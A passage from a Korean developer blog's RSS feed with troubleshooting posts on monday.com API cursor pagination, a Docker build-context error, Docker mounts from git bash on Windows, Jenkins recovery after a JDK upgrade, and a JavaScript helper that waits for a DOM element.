      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;현재 다니는 회사에서 업무툴로 먼데이닷컴을 사용중이다.&lt;br /&gt;한 보드에 item 만 대략 5천개 가량이있고, 매일 밤 시간대마다 내부 DB 에 동기화를 치는 작업을 하고있다.&lt;br /&gt;근데 일주일전부터 동기화가 되지않는 오류가 발생하였고, 이런저런 삽질을 하다가 결국 해결하고 정리하는 포스팅이다.&lt;br /&gt;사실 이미 ai 가 만연히 퍼져있기에 정리하는게 무슨 의미가 있겠냐만은 .. 그래도 이 포스팅 또한 ai 가 긁어가면 더 간결하고 나은&lt;br /&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;답변을 내주지않을까? ㅋㅋ&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼데이는 그래프큐엘로 api 를 제공중이고 , 데이터를 select 하려면 아쉽게도 최대 500개 제한이 존재한다.&lt;br /&gt;사실 좀 적다 라고 느껴질수있지만 먼데이닷컴을 좀 사용핟보면 그럴만하다고 느껴지는게, 먼데이는 단순한 게시판 형식의 페이지가 아니라 보드끼리 Relation , Mirror 기능도 존재하기에 어쩔수없는 제한인듯하다&lt;br /&gt;&lt;br /&gt;기존에 사용하던 쿼리가 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1761311836581&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;//최초 실행 쿼리
query {
        boards(ids : '.$board_id.'){
            items_page (limit: 50) {
                cursor
                items{
                    board {
                        id
                    }
                    id
                    name
                    state
                    parent_item {
                        id
                    }
                    column_values {
                        column {
                            id
                            title
                            type
                        }          
                        text
                        value
                        ... on MirrorValue {
                            display_value
                        }
                        ... on BoardRelationValue {  
                            linked_item_ids  
                            linked_items {
                                name            
                            }
                        }  
                    }
                }
            }
        }
    }
    
   //그 다음 cursor 넣고 돌리는 쿼리&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼데이닷컴 api 를 좀 사용해본 경험이 있는 사람이면 알겠지만 column_values 저 안에 JSON 형식으로 어마어마한 데이터가 들어가있다. (물론 보드에 컬럼이 많다는 전제하에)&lt;br /&gt;그리고 MirrorValue, BoardRelationValue 까지 있으면 이 보드와의 미러값, 그리고 이 보드와 관계되어있는 모든 연결된 아이템들의 정보까지 긁어오라고 시키는거다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼데이 api 로 페이지네이션을 하기 위해서는 cursor 값을 받아와서 그 값을 넣고 재호출을 해줘야하는데&lt;br /&gt;오늘에서야 알게된 사실이지만, &lt;u&gt;&lt;b&gt;최초 호출&lt;/b&gt;&lt;/u&gt; 후에 30분 가량이 지나면 먼데이 측에서 cursor 값을 강제로&lt;br /&gt;expired 시켜버린다 아래처럼 (데이터 select 해서 나오는 cursor 넣고 다음 페이지 호출, 또 다음 페이지 호출 반복하는게 30분 넘으면 커트 당한다는 소리)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;monday_api_fail:&amp;nbsp;{&quot;data&quot;:null,&quot;errors&quot;:[{&quot;message&quot;:&quot;&lt;b&gt;CursorExpiredError&lt;/b&gt;:&amp;nbsp;The&amp;nbsp;cursor&amp;nbsp;provided&amp;nbsp;for&amp;nbsp;pagination&amp;nbsp;has&amp;nbsp;expired.&amp;nbsp;Please&amp;nbsp;refresh&amp;nbsp;your&amp;nbsp;query&amp;nbsp;and&amp;nbsp;obtain&amp;nbsp;a&amp;nbsp;new&amp;nbsp;cursor&amp;nbsp;to&amp;nbsp;continue&amp;nbsp;fetching&amp;nbsp;items&quot;,&quot;locations&quot;:[{&quot;line&quot;:1,&quot;column&quot;:3}],&quot;path&quot;:[&quot;next_items_page&quot;],&quot;extensions&quot;:{&quot;code&quot;:&quot;CursorException&quot;,&quot;status_code&quot;:200,&quot;error_data&quot;:[],&quot;service&quot;:&quot;monolith&quot;}}],&quot;extensions&quot;:{&quot;request_id&quot;:&quot;8a049927-11c4-9a00-b68b-5e0b71002aaf&quot;}}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;보드에 데이터가 많아진만큼 , select 해오는데에 오래걸릴수 밖에없고 , 당연히 5000개를 전부 페이지네이션으로 값을 불러오기엔 30분으로 턱없이 부족했다.&lt;br /&gt;&lt;br /&gt;그래서 좀 고민후에 아래처럼 구조를 바꾸기로 했다.&lt;/p&gt;
&lt;pre id=&quot;code_1761312181327&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;//최초 실행 쿼리
query {
        boards(ids : '.$board_id.'){
            items_page (limit: 500) {
                cursor
                items{
                    board {
                        id
                    }
                    id
                    name
                    state
                    parent_item {
                        id
                    }
                }
            }
        }
    }
    
//그 다음 실행 쿼리
query { 
    next_items_page (limit: 500,  cursor:&quot;'.$cursor.'&quot;){
        cursor
        items{
            board {
                id
            }
            id
            name
            state
            parent_item {
                id
            }
        }
    }      
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;column_values 를 뺀것만해도 응답속도가 어마어마하게 빨라졌고 , item_id 500개씩 추출해오는건 금방이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;item_id 만을 500개씩 페이지네이션으로 쭈욱 받아와서 배열에 전부 때려박은다음 순차적으로 해당 item_id 들을 여러개 묶어서 한번에 column_values 들 추출해오는것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ids 에 25개씩 나눠서 호출하면 잘 받아온다. (왜 하필 25개 인지는 모르겠는데 ids에 아무리 많이 넣어도 25개만 받아옴 )&lt;/p&gt;
&lt;pre id=&quot;code_1761312335472&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;query {
    items(ids: ['.$ids_string.']) {
        id
        name
        state
        board {
            id
        }
        parent_item {
            id
        }
        column_values {
            column {
                id
                title
                type
            }          
            text
            value
            ... on MirrorValue {
                display_value
            }
            ... on BoardRelationValue {  
                linked_item_ids  
                linked_items {
                    name            
                }
            }  
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 25개씩 데이터가 처리될때 메모리에 남기지않고 바로바로 처리해버린다음 unset 으로 메모리 정리해주는게 , 메모리 부족 문제 이슈도 보완할수 있어서 좋다.&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>먼데이</category>
      <category>먼데이api</category>
      <category>먼데이board 호출</category>
      <category>먼데이cursor</category>
      <category>먼데이닷컴</category>
      <category>먼데이페이지네이션</category>
      <category>먼데이페이징</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/222</guid>
      <comments>https://bug41.tistory.com/entry/%EB%A8%BC%EB%8D%B0%EC%9D%B4-API-%ED%99%9C%EC%9A%A9-%EB%B3%B4%EB%93%9C-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EC%B6%94%EC%B6%9C-mondaycom-GraphQL-cursor-%EC%A0%95%EB%A6%AC#entry222comment</comments>
      <pubDate>Fri, 24 Oct 2025 23:12:01 +0900</pubDate>
    </item>
    <item>
      <title>[Docker] docker error failed to solve: archive/tar: unknown file mode ?rwxr-xr-x ,  load build context</title>
      <link>https://bug41.tistory.com/entry/Docker-docker-error-failed-to-solve-archivetar-unknown-file-mode-rwxr-xr-x-load-build-context</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;docker-compose up 도중 지속적인 에러메시지 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#9&amp;nbsp;[app&amp;nbsp;internal]&amp;nbsp;load&amp;nbsp;build&amp;nbsp;context &lt;br /&gt;#9&amp;nbsp;transferring&amp;nbsp;context:&amp;nbsp;122.84MB&amp;nbsp;3.2s&amp;nbsp;done &lt;br /&gt;#9&amp;nbsp;ERROR:&amp;nbsp;archive/tar:&amp;nbsp;unknown&amp;nbsp;file&amp;nbsp;mode&amp;nbsp;?rwxr-xr-x &lt;br /&gt;------ &lt;br /&gt;&amp;nbsp;&amp;gt;&amp;nbsp;[app&amp;nbsp;internal]&amp;nbsp;load&amp;nbsp;build&amp;nbsp;context: &lt;br /&gt;------ &lt;br /&gt;failed&amp;nbsp;to&amp;nbsp;solve:&amp;nbsp;archive/tar:&amp;nbsp;unknown&amp;nbsp;file&amp;nbsp;mode&amp;nbsp;?rwxr-xr-x&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;archive/tar 는 쓰지도 않는데 뭔 소리래.. 하고 ai 한테 물어보니 tar 를 점검해보라며 어쩌고 저쩌고 도움안되는 말만 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이럴땐 직접 발품 팔아야지 ~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 블로그 보니 node_modules 랑 package-lock.json 삭제 후 재빌드 하면 된다는데 난 그렇게해서 안됐고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삭제해서 된다는거 보니 다른걸 삭제해야되나보다 해서 프로젝트 루트 경로 자세히 살펴보니 .npm , .composer 등 기분나쁘게 생긴 폴더들 있어서 싹다 날리니 그제서야 잘됌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;풀 에러 메시지는 아래&lt;/p&gt;
&lt;pre id=&quot;code_1736240321079&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ docker-compose up --build -d
time=&quot;2025-01-07T17:45:59+09:00&quot; level=warning msg=&quot; 프로젝트 경로 \\docker-compose.yml: the attribute `version` is obsolete, it will be ignored, please remove it to avoid potential confusion&quot;


#0 building with &quot;desktop-linux&quot; instance using docker driver

#1 [app internal] load build definition from dockerfile
#1 transferring dockerfile: 1.15kB done
#1 DONE 0.0s

#2 [app internal] load metadata for docker.io/library/composer:latest

#2 ...

#3 [app auth] library/php:pull token for registry-1.docker.io
#3 DONE 0.0s

#4 [app auth] library/composer:pull token for registry-1.docker.io
#4 DONE 0.0s


#5 [app internal] load metadata for docker.io/library/php:8.2-fpm
#5 DONE 1.6s

#2 [app internal] load metadata for docker.io/library/composer:latest
#2 DONE 1.6s

#6 [app internal] load .dockerignore
#6 transferring context: 65B done
#6 DONE 0.0s

#7 [app stage-0  1/12] FROM docker.io/library/php:8.2-fpm@sha256:78234d3aeebce59eb9cb36e9f039e66ebbd5da47a796103c2a45d016596de10f
#7 DONE 0.0s

#8 [app] FROM docker.io/library/composer:latest@sha256:8d6046f012fa326beb2d4925f15d003283687bef33b41ba8bdaeec0c35b233bc
#8 DONE 0.0s

#9 [app internal] load build context
#9 transferring context: 122.84MB 3.2s done
#9 ERROR: archive/tar: unknown file mode ?rwxr-xr-x
------
 &amp;gt; [app internal] load build context:
------
failed to solve: archive/tar: unknown file mode ?rwxr-xr-x&lt;/code&gt;&lt;/pre&gt;</description>
      <category>IT/Docker</category>
      <category>docker</category>
      <category>docker  load build context</category>
      <category>docker archive/tar</category>
      <category>docker build error</category>
      <category>docker unknown file mode</category>
      <category>load build context</category>
      <category>도커 빌드 에러</category>
      <category>도커빌드에러</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/221</guid>
      <comments>https://bug41.tistory.com/entry/Docker-docker-error-failed-to-solve-archivetar-unknown-file-mode-rwxr-xr-x-load-build-context#entry221comment</comments>
      <pubDate>Wed, 8 Jan 2025 07:56:11 +0900</pubDate>
    </item>
    <item>
      <title>[git bash] Window Docker 명령어 관련 메모, 윈도우 도커</title>
      <link>https://bug41.tistory.com/entry/git-bash-Window-Docker-%EB%AA%85%EB%A0%B9%EC%96%B4-%EA%B4%80%EB%A0%A8-%EB%A9%94%EB%AA%A8-%EC%9C%88%EB%8F%84%EC%9A%B0-%EB%8F%84%EC%BB%A4</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;윈도우 기준에서의 포스팅입니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;docker 는 리눅스에서 잘돌아간다.&lt;br /&gt;물론 윈도우에서도 docker window 버전이 있긴한데 , 행여나 나처럼 삽질하는 분이 계실까봐 남겨놓는 메모&lt;br /&gt;사실 과거에 이런 경험이 있었는데 나도 기억이 안나고 어렴풋이 알고있었다가 이참에 그냥 적어둠&lt;/p&gt;
&lt;pre id=&quot;code_1734564543170&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;winpty docker run -it -p 8010:80 --name myContainer --entrypoint bash -v /c/web_developer/myProject/php:/app myImage&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;일단 git bash 에서 많이들 작업하실텐데, 커맨드로 쳐서 위와 같이 만든다고 할때&lt;br /&gt;난 분명히 마운트를 정상적으로 했다 생각했는데 docker desktop 프로그램 상에서 컨테이너를 확인하면 아래와 같이 들어가있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;271&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctR3KP/btsLmOt7lAT/wOmNmzciOAHZ5ekGK8vd6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctR3KP/btsLmOt7lAT/wOmNmzciOAHZ5ekGK8vd6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctR3KP/btsLmOt7lAT/wOmNmzciOAHZ5ekGK8vd6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FctR3KP%2FbtsLmOt7lAT%2FwOmNmzciOAHZ5ekGK8vd6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;271&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;271&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;황당하게도 뒤에 ;C 가 들어가있는것을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;75&quot; data-origin-height=&quot;50&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FzusJ/btsLoFIUjKX/WOTNGTa45vQqba0DQHgWJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FzusJ/btsLoFIUjKX/WOTNGTa45vQqba0DQHgWJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FzusJ/btsLoFIUjKX/WOTNGTa45vQqba0DQHgWJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFzusJ%2FbtsLoFIUjKX%2FWOTNGTa45vQqba0DQHgWJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;75&quot; height=&quot;50&quot; data-origin-width=&quot;75&quot; data-origin-height=&quot;50&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;실제로 요따구로 만들어져있음 ㅋㅋ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;당연히 저거 때문에 마운트는 엄한곳을 바라보고있고, 암만 수정해봤자 컨테이너쪽이 안변함&lt;br /&gt;&lt;br /&gt;해결책은 의외로 간단한데, bash 에서 안만들면된다.&lt;br /&gt;그냥 파워쉘에서 만들면 정상적으로 만들어짐&lt;br /&gt;&lt;br /&gt;참고로 앞에 winpty 는 git bash 에서 docker 실행하려할때 앞에 필수로 붙여야하는것 .. 안붙이면 오류남&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>git bash docker mount</category>
      <category>git bash 도커</category>
      <category>git bash 도커 오류</category>
      <category>도커 마운트 경로 세미콜론</category>
      <category>도커 마운트 경로 이상함</category>
      <category>도커 생성 오류</category>
      <category>윈도우 도커</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/220</guid>
      <comments>https://bug41.tistory.com/entry/git-bash-Window-Docker-%EB%AA%85%EB%A0%B9%EC%96%B4-%EA%B4%80%EB%A0%A8-%EB%A9%94%EB%AA%A8-%EC%9C%88%EB%8F%84%EC%9A%B0-%EB%8F%84%EC%BB%A4#entry220comment</comments>
      <pubDate>Thu, 19 Dec 2024 08:36:21 +0900</pubDate>
    </item>
    <item>
      <title>[jenkins] 뻗은 젠킨스 정상화 관련 메모(리눅스 jdk 1.8 에서 11, 젠킨스 정상화)</title>
      <link>https://bug41.tistory.com/entry/jenkins-%EB%BB%97%EC%9D%80-%EC%A0%A0%ED%82%A8%EC%8A%A4-%EC%A0%95%EC%83%81%ED%99%94-%EA%B4%80%EB%A0%A8-%EB%A9%94%EB%AA%A8%EB%A6%AC%EB%88%85%EC%8A%A4-jdk-18-%EC%97%90%EC%84%9C-11-%EC%A0%A0%ED%82%A8%EC%8A%A4-%EC%A0%95%EC%83%81%ED%99%94</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;젠킨스가 뻗었다 , 접속이 안됌&lt;br /&gt;플러그인 좀 써보겠다고 깝치면서 젠킨스 업그레이드 한 결과다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 내가 단단히 착각했던게 있었는데 , /var/lib/jenkins/jenkins.war 설치하면 , 기존 젠킨스 설치되어있는 경로에 알아서 잘 깔릴거라 생각했는데 , 븅딱 짓이었단것, 경로 설정을 해줘야함 차근차근 정리해두려고 함&lt;br /&gt;&lt;br /&gt;일단 jdk 1.8 에서 11 로 업그레이드&lt;/p&gt;
&lt;pre id=&quot;code_1733787386141&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 자바 버전 확인
java -version

# yum install 안먹어서 수동으로 걍 겟 해옴 , 난 귀찮아서 오라클 홈페이지 접속해서 다운받고(jdk-11.0.25_linux-x64_bin.tar.gz),
파일질라로 올림, 난 기존에 사용중인 1.8 이 /usr/lib/jvm 라는 경로에 있어서 그대로 맞춰서 거기다
압축 풀었음

sudo tar -xvf jdk-11.0.25.tar.gz -C /usr/lib/jvm

sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-11.0.25/bin/java 1100
sudo update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk-11.0.25/bin/javac 1100

# 환경 변수 설정 (중요)
vi ~/.bashrc

[내용 추가]
export JAVA_HOME=/usr/lib/jvm/jdk-11.0.25
export PATH=$JAVA_HOME/bin:$PATH
[내용 추가]

# 환경 변수 적용 (중요)
source ~/.bashrc

# 자바 버전이 여러개라면 뭐 쓸지 픽해줘야함
sudo update-alternatives --config java

# 잘 설치됐고 ,환경변수도 정상적으로 적용 됐으면 아래처럼 다시 버전 확인했을때 11로 나와야됌
java -version&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;53&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wr2VD/btsLcqM2g5Y/eXqxCnrLg8gApu3ukEU3Ak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wr2VD/btsLcqM2g5Y/eXqxCnrLg8gApu3ukEU3Ak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wr2VD/btsLcqM2g5Y/eXqxCnrLg8gApu3ukEU3Ak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwr2VD%2FbtsLcqM2g5Y%2FeXqxCnrLg8gApu3ukEU3Ak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;53&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;53&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;젠킨스&lt;br /&gt;&lt;br /&gt;일단 젠킨스도 HOME 디렉토리가 있음&lt;/p&gt;
&lt;pre id=&quot;code_1733787504933&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; echo $JENKINS_HOME&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라고 쳤을때 나오는게 젠킨스 홈 디렉토리임, war 풀면 그쪽에 풀린다는 소리&lt;br /&gt;&lt;br /&gt;설정 안되있다고 ? 하면됨&lt;br /&gt;난 아래처럼 되있음, 위에 자바 업그레이드 할때 진입했던 vi ~/.bashrc 에 추가만 해주면 끝&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;358&quot; data-origin-height=&quot;233&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2qx0E/btsLbThOVRr/H1EKkk0k0BwZRwTdiOH590/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2qx0E/btsLbThOVRr/H1EKkk0k0BwZRwTdiOH590/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2qx0E/btsLbThOVRr/H1EKkk0k0BwZRwTdiOH590/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2qx0E%2FbtsLbThOVRr%2FH1EKkk0k0BwZRwTdiOH590%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;358&quot; height=&quot;233&quot; data-origin-width=&quot;358&quot; data-origin-height=&quot;233&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 다시 에코했을때 /var/lib/jenkins 가 나올건데 , 그 경로에&amp;nbsp; war 풀었을때 젠킨스 찐 파일들이 걸로 들어감&lt;br /&gt;&lt;br /&gt;정리하면 (대부분, 백프로 확실아님)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;/usr/lib/jenkins =&amp;gt; jenkins.war&lt;/b&gt; 압축파일 모이는곳, java -jar jenkins.war 실행하면 jenkins 홈디렉토리에 압축풀림&lt;br /&gt;&lt;br /&gt;&lt;b&gt;/var/lib/jenkins =&amp;gt; jobs, users,&lt;/b&gt; &lt;b&gt;플러그인&lt;/b&gt; 등등 모든 젠킨스 찐 폴더,파일들 모여있는곳, 젠킨스 버전 업글한다고 여기 폴더 함부로 지우면 그냥 큰일나는거임, 워크스페이스랑 유저정보&amp;nbsp; 싹다 날아감, 최대한 백업해두고 조심조심&lt;br /&gt;&lt;br /&gt;난 젠킨스 업그레이드 해놓고 user 랑 워크스페이스 싹다 날아가서 멘붕오고 삽질 겁나 했는데&lt;br /&gt;젠킨스 홈 디렉토리가 설정 안해두면 , 내 로그인 했던 기본 경로 예를들면 내가 사용중인 계정 /home/사용중인계정폴더 밑에 .jenkins 라는 폴더가 생기고 거기서 돌아가니 당연히 아무것도 없이 초기화 상태가 나왔던거임&lt;br /&gt;찐 폴더, 파일들은 /var/lib/jenkins 에 있는데 ....&lt;br /&gt;&lt;br /&gt;그래서 /var/lib/jenkins 로 젠킨스 홈 디렉토리 조정하고 재실행하니까 정상화 되었음&lt;br /&gt;config.xml , 플러그인들은 손 안댔음&lt;br /&gt;결국 젠킨스 업그레이드 한답시고 그냥 예전버전 다시 되살린거에 불과함&lt;br /&gt;정리해놓으니 별거 아닌데 오늘 새벽까지 뻘짓했던거라 일단 복구가 먼저기 때문에 일단 여기까지만 함 ㅎㅎ;&lt;br /&gt;그래도 자바 버전 업그레이드 됐으니 한잔해&lt;br /&gt;&lt;br /&gt;아래는 젠킨스 관련해서 참고하면 도움될만한 명령어 정리 .&lt;/p&gt;
&lt;pre id=&quot;code_1733787864584&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 젠킨스 다운 받는 링크 https://get.jenkins.io/war-stable/

# 다운 명령어 예시
sudo wget https://get.jenkins.io/war-stable/2.319.1/jenkins.war

# 젠킨스 버전 확인
java -jar jenkins.war --version

# 젠킨스 실행
java -jar jenkins.war

# 실행중인 젠킨스 확인
ps aux | grep jenkins

# 젠킨스 백그라운드 실행 및 로그 쌓기
nohup java -jar /usr/lib/jenkins/jenkins.war &amp;gt; /var/log/jenkins/jenkins.log 2&amp;gt;&amp;amp;1 &amp;amp;

# 젠킨스 로그 실시간 보기
tail -f /var/log/jenkins/jenkins.log&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>젠킨스</category>
      <category>젠킨스복구</category>
      <category>젠킨스오류</category>
      <category>젠킨스흰화면</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/219</guid>
      <comments>https://bug41.tistory.com/entry/jenkins-%EB%BB%97%EC%9D%80-%EC%A0%A0%ED%82%A8%EC%8A%A4-%EC%A0%95%EC%83%81%ED%99%94-%EA%B4%80%EB%A0%A8-%EB%A9%94%EB%AA%A8%EB%A6%AC%EB%88%85%EC%8A%A4-jdk-18-%EC%97%90%EC%84%9C-11-%EC%A0%A0%ED%82%A8%EC%8A%A4-%EC%A0%95%EC%83%81%ED%99%94#entry219comment</comments>
      <pubDate>Tue, 10 Dec 2024 08:48:36 +0900</pubDate>
    </item>
    <item>
      <title>[javascript] await 으로 element 가져오기, Promise.race</title>
      <link>https://bug41.tistory.com/entry/javascript-await-%EC%9C%BC%EB%A1%9C-element-%EA%B0%80%EC%A0%B8%EC%98%A4%EA%B8%B0-Promiserace</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;element 가 로드 되지않았는데 가져오다보니 undefined 오류가 나서 await 을 추가해서 DOM 요소가 나올때까지 기다렸다 일정시간이 지나면 null 로 내뱉는 함수를 만들었다.&lt;br /&gt;사실 내가 만든건 아님 채찍 형님이 만들었는데 유용하게 앞으로도 쓰일것 같아서 메모로 남긴다.&lt;/p&gt;
&lt;pre id=&quot;code_1729047880788&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const element = await waitForElement(&quot;select_&quot;+seq);&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1729047895133&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;async function waitForElement(selector, timeout = 3000) {
    const start = Date.now();

    while (Date.now() - start &amp;lt; timeout) {        
    	# querySelector 로 할지 getBy 로할지는 본인 선택
        const element = document.getElementById(selector)        
        if (element) return element;
        await new Promise(resolve =&amp;gt; setTimeout(resolve, 300));
    }
    return null;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 timeout 3초로 잡고, 3초되기까지 0.3 초 동안 내내 while 문을 돌면서 element 가 로드 되었는지 안되었는지 체크 후 값이 있으면 뱉어주고 3초 지나면 null&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 쓰다보니 while 문 보다 setInterval 로 처리하는게 낫다고해서 변경&lt;br /&gt;그리고 Promise.race 사용&lt;/p&gt;
&lt;pre id=&quot;code_1729059228505&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;async function waitForElement(selector, timeout = 5000, interval = 300) {
